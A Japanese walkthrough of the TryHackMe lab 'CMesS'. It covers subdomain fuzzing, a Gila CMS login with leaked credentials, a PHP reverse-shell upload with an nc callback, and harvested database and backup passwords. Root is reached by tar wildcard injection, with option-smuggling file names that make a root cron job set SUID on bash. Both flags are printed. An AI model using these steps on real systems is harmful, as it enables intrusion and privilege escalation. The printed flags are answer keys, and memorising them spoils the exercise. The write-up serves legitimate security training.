概要
TryHackMe「CMesS」のWalkthroughです。
Task1
Q1.Compromise this machine and obtain user.txt
Hint.Have you tried fuzzing for subdomains?
/etc/hosts
にレコードを追記します。
10.10.147.108 cmess.thm
ポートスキャンを実行します。
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.147.108 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache/2.4.18 |
80
番ポートにアクセスします。
Gila CMS
が使用されていると分かりました。
サブドメインを列挙します。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.cmess.thm" -u http://cmess.thm -fw 522
dev [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 4765ms]
サブドメインを/etc/hosts
に追記します。
10.10.147.108 cmess.thm dev.cmess.thm
dev.cmess.thm
にアクセスするとandre
のパスワードがKPFTN_f2yxe%
だと分かりました。
ディレクトリ列挙をします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://cmess.thm/FUZZ -recursion -recursion-depth 1 -ic -c
admin [Status: 200, Size: 1580, Words: 377, Lines: 42, Duration: 318ms]
(省略)
/admin
にアクセスするとログインフォームが表示されました。
サブドメインで判明したEmail: andre@cmess.thm
,Password: KPFTN_f2yxe%
を使用してログインに成功しました。
フッターからGila CMS version 1.10.9
が分かりました。
脆弱性情報を検索するとRCEの脆弱性を発見しました。
$ searchsploit Gila CMS 1.10.9
------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated) | php/webapps/51569.py
Gila CMS < 1.11.1 - Local File Inclusion | multiple/webapps/47407.txt
------------------------------------------------------------------------------- ---------------------------------
ファイルアップロード機能を悪用するようです。
Content
->File Manager
からtmp
フォルダにリバースシェル用のPHPファイルをアップロードします。
/tmp/.htaccess
ファイルをallow from all
に変更します。
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
/tmp/php-reverse-shell.php
にアクセスするとwww-data
アカウントでリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.147.108] 60596
Linux cmess 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:17:43 up 1:38, 0 users, load average: 0.00, 0.44, 7.49
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home
配下を見るとandre
アカウントを確認できました。
www-data@cmess:/$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Feb 6 2020 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
drwxr-x--- 4 andre andre 4096 Feb 9 2020 andre
パスワードを探します。
/var/www/html/config.php
を見るとMySQLの認証情報を得られました。
<?php
$GLOBALS['config'] = array (
'db' =>
array (
'host' => 'localhost',
'user' => 'root',
'pass' => 'r0otus3rpassw0rd',
'name' => 'gila',
),
MySQLにログインし、データベース情報を見ましたが情報は得られませんでした。
www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd
mysql> use gila
mysql> select * from user;
select * from user;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email | pass | active | reset_code | created | updated |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| 1 | andre | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa | 1 | | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)
ディレクトリを探索していると/opt/.password.bak
を発見しました。
www-data@cmess:/var/www/html$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 Feb 6 2020 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
-rwxrwxrwx 1 root root 36 Feb 6 2020 .password.bak
ファイルの内容からパスワードを得られました。
andres backup password
UQfsdCB7aAP6
andre
アカウントでSSH接続します。
$ ssh andre@cmess.thm
andre@cmess:~$
/home/andre/user.txt
からユーザーフラグを入手できました。
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
A.thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
Q2.Escalate your privileges and obtain root.txt
sudo -l
,SUID
を確認しましたが、権限昇格に繋がりそうなものはなかったので/etc/crontab
を確認しました。
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
rootアカウントでクロンジョブが設定されています。
tarコマンドのワイルドカードを調べると権限昇格のテクニックを発見しました。
ワイルドカードを指定している場合、オプションをファイル名にするとtarコマンドのオプションとして認識するようです。
/home/andre/backup
にファイルを作成します。
#!/bin/bash
chmod u+s /bin/bash
$ chmod +x exploit.sh
$ echo "" > "--checkpoint-action=exec=sh exploit.sh"
$ echo "" > --checkpoint=1
ファイルを作成できました。
$ ls -la
-rw-rw-r-- 1 andre andre 1 Sep 24 12:37 --checkpoint=1
-rw-rw-r-- 1 andre andre 1 Sep 24 12:37 --checkpoint-action=exec=sh exploit.sh
-rwxrwxr-x 1 andre andre 32 Sep 24 12:39 exploit.sh
時間をおいて/bin/bash
を確認するとSUIDが設定されています。
$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16 2017 /bin/bash
-p
オプションで実行してroot権限に昇格できました。
$ /bin/bash -p
bash-4.3# whoami
root
/root/root.txt
からルートフラグを入手できます。
thm{9f85b7fdeb2cf96985bf5761a93546a2}
A.thm{9f85b7fdeb2cf96985bf5761a93546a2}